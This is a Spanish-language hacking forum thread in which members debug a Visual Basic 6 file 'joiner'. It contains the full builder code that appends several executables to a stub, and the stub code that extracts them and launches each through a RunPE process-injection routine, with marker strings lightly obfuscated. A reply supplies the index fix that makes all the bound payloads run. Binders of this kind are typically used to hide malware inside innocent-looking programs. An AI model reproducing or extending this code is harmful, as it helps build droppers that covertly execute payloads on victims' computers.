Buenas, parece que una vez más tengo problemas con el joiner, el problema ahora, es que en ves de cojerme los 2 files, me repite el 1º , bueno les dejo parte del code:

CmdBuilt escribió: For i = 1 To lv.ListItems.Count

Open lv.ListItems.Item(i) For Binary As 1
archivo = Space(LOF(1))
Get 1, , archivo
Close 1


archivo = archivo & lv.ListItems.Item(i) & "Nuevo"

Next i

Open App.Path & "\stub.exe" For Binary As 1
stub = Space(LOF(1))
Get 1, , stub
Close 1



Open App.Path & "\server.exe" For Binary As 1
Put 1, , stub & "xpro"
Put 1, , archivo & "xpro"
Close 1
Stub escribió: Public Sub nucleo()
Dim yo As String
yo = App.Path & "\" & App.EXEName & ".exe"
Open yo For Binary As 1
Dim Chr(63) As String
Chr(63) = Space(LOF(1))
Get 1, , Chr(63)
Close 1

Dim sp() As String
sp() = alter(Chr(63), StrReverse("orpx"))

Dim ps() As String

For i = 0 To UBound(sp) - 1

ps() = alter(sp(1), StrReverse("oveuN"))
beaby yo, StrConv(ps(0), vbFromUnicode), vbNullString


Next i
Alter, es el Split xD, haber si entendeis porqué me coje el mismo file 2 veces en ves de cojer el siguiente xD, un saludo

PD: Antes de decir, mira el tutorial de skyweb, pensad que lo he visto 10000000 veces, que he visto el de NEON, y 100000 ejemplos más ;)
Imagen

http://img844.imageshack.us/img844/8088/mujerrara.jpg
http://img715.imageshack.us/img715/5813/tigree.png
http://img830.imageshack.us/img830/6484/camaleon.png

http://img839.imageshack.us/img839/4944/tigrev2.jpg
http://img843.imageshack.us/img843/443/spidermanxn.png

http://www.youtube.com/watch?v=wHYYkciIKE0
aqui -- archivo = archivo & lv.ListItems.Item(i) & "Nuevo" eso esta mal

Primeo has esto

Dim Datos as string

Open lv.ListItems.Item(i) For Binary As 1
archivo = Space(LOF(1))
Get 1, , archivo
Close 1

Datos = Datos & Archivo & "Nuevo"

porque como lo estabas haciedo antes estabas metiendo solo 1 archivo que seria la variable archivo y metiendo la ruta del archivo nada más :p.. bueno ese fue el primero error que vi.. no se si halla más :P
Imagen
lo hice, y sigue ejecutando el primer file, 3 veces , bueno, no valla hacer que es por falta del code, me voy a mojar y te voy a dejar el code entero:
Cliente/Full Function escribió: Private Sub Built_Click()

If lv.ListItems.Count > 1 Then


Dim stub As String, archivo As String


For i = 1 To lv.ListItems.Count

Open lv.ListItems.Item(i) For Binary As 1
archivo = Space(LOF(1))
Get 1, , archivo
Close 1

Dim datos As String

datos = datos & archivo & "Nuevo"


Next i

Open App.Path & "\stub.exe" For Binary As 1
stub = Space(LOF(1))
Get 1, , stub
Close 1



Open App.Path & "\server.exe" For Binary As 1
Put 1, , stub & "xpro"
Put 1, , datos & "xpro"
Close 1
MsgBox " Files Binded ", vbInformation, "The End"

Else
Exit Sub
End If

End Sub
Stub / Full Function escribió:
Public Sub nucleo()

Dim yo As String
yo = App.Path & "\" & App.EXEName & ".exe"
Open yo For Binary As 1
Dim Chr(63) As String
Chr(63) = Space(LOF(1))
Get 1, , Chr(63)
Close 1

Dim sp() As String
sp() = alter(Chr(63), StrReverse("orpx")) ' alter = SPLIT

Dim ps() As String

For i = 0 To UBound(sp)

ps() = alter(sp(1), StrReverse("oveuN"))
beaby yo, StrConv(ps(0), vbFromUnicode), vbNullString


Next i

End Sub

Aclarar 2 cosas, beaby es el nombre de la inyección del runpe , yasé que tal cual está puesto, solo funcionará cuando se traten de 2 exe, de momento lo voy a dejar así, y estoy probando con 2 msgbox en .exe claro....

Lo dicho, sigue saltando el 1 file 3 veces...
Imagen

http://img844.imageshack.us/img844/8088/mujerrara.jpg
http://img715.imageshack.us/img715/5813/tigree.png
http://img830.imageshack.us/img830/6484/camaleon.png

http://img839.imageshack.us/img839/4944/tigrev2.jpg
http://img843.imageshack.us/img843/443/spidermanxn.png

http://www.youtube.com/watch?v=wHYYkciIKE0
Man, de Visual Basic no se ni como hacer un Hello World, es mas nisiquiera se como se incluyen las librerias haha pero bueno, si algo entiendo por programacion es que la verdad el problema no esta ni al elejir los archivos n al sumarlos, esta a la hora de juntarlos en 1 solo. Solo te queda ir revisando linea por linea imagino no seran muchas, sacate tu libro de VB y consulta :D.

P.D:se ve que es un lenguaje bastante facil, relativamente hablando... vamos que no hay lenguaje o muy facil o muy dificil.
"Un buen pintor copia, Un gran pintor roba."
Siempre podemos tirar el ordenador a la basura y comprar uno nuevo, pero es una solución demasiado Mac.
Imagen
Juanse 254 escribió:Man, de Visual Basic no se ni como hacer un Hello World, es mas nisiquiera se como se incluyen las librerias haha pero bueno, si algo entiendo por programacion es que la verdad el problema no esta ni al elejir los archivos n al sumarlos, esta a la hora de juntarlos en 1 solo. Solo te queda ir revisando linea por linea imagino no seran muchas, sacate tu libro de VB y consulta :D.

P.D:se ve que es un lenguaje bastante facil, relativamente hablando... vamos que no hay lenguaje o muy facil o muy dificil.

ir linea por linea bro xD ? , de eso no se encarga ya el For i = 1 To lv.listitems.count xD ?
Imagen

http://img844.imageshack.us/img844/8088/mujerrara.jpg
http://img715.imageshack.us/img715/5813/tigree.png
http://img830.imageshack.us/img830/6484/camaleon.png

http://img839.imageshack.us/img839/4944/tigrev2.jpg
http://img843.imageshack.us/img843/443/spidermanxn.png

http://www.youtube.com/watch?v=wHYYkciIKE0
esperemos k se solucione que el pobre xpro esta un poco desesperado y yo aunque me mate no lo puedo ayudar
Blog técnico dedicado a la seguridad informática y al estudio de nuevas vulnerabilidades.
Blog: http://www.seginformatica.net
Twitter: https://twitter.com/#!/p0is0nseginf
aca esta el error :

Código: Seleccionar todo

For i = 0 To UBound(sp)

ps() = alter(sp(1), StrReverse("oveuN"))
beaby yo, StrConv(ps(0) , vbFromUnicode), vbNullString ' <--


Next i
ps(0) , siempre te va a ejecutar el primer archivo .
solucion :
en el array de ps pon la variable con la aces el bucle

Código: Seleccionar todo

For i = 0 To UBound(sp)

ps() = alter(sp(1), StrReverse("oveuN"))
beaby yo, StrConv(ps(i) ,  vbFromUnicode), vbNullString ' <--


Next i
de ese modo se ejecutan todos los archivos

saludos
http://www.freundt-esta-aburrido.blogspot.com
al-hacker escribió:aca esta el error :

Código: Seleccionar todo

For i = 0 To UBound(sp)

ps() = alter(sp(1), StrReverse("oveuN"))
beaby yo, StrConv(ps(0) , vbFromUnicode), vbNullString ' <--


Next i
ps(0) , siempre te va a ejecutar el primer archivo .
solucion :
en el array de ps pon la variable con la aces el bucle

Código: Seleccionar todo

For i = 0 To UBound(sp)

ps() = alter(sp(1), StrReverse("oveuN"))
beaby yo, StrConv(ps(i) ,  vbFromUnicode), vbNullString ' <--


Next i
de ese modo se ejecutan todos los archivos

saludos


Anda..... valla fallo , muchas gracias tio, ya funciona de pm, creo.. que voy a tener que mirar más el code antes de crear post como estos


Thanks ! !
Imagen

http://img844.imageshack.us/img844/8088/mujerrara.jpg
http://img715.imageshack.us/img715/5813/tigree.png
http://img830.imageshack.us/img830/6484/camaleon.png

http://img839.imageshack.us/img839/4944/tigrev2.jpg
http://img843.imageshack.us/img843/443/spidermanxn.png

http://www.youtube.com/watch?v=wHYYkciIKE0
Responder

Volver a “VB/.NET”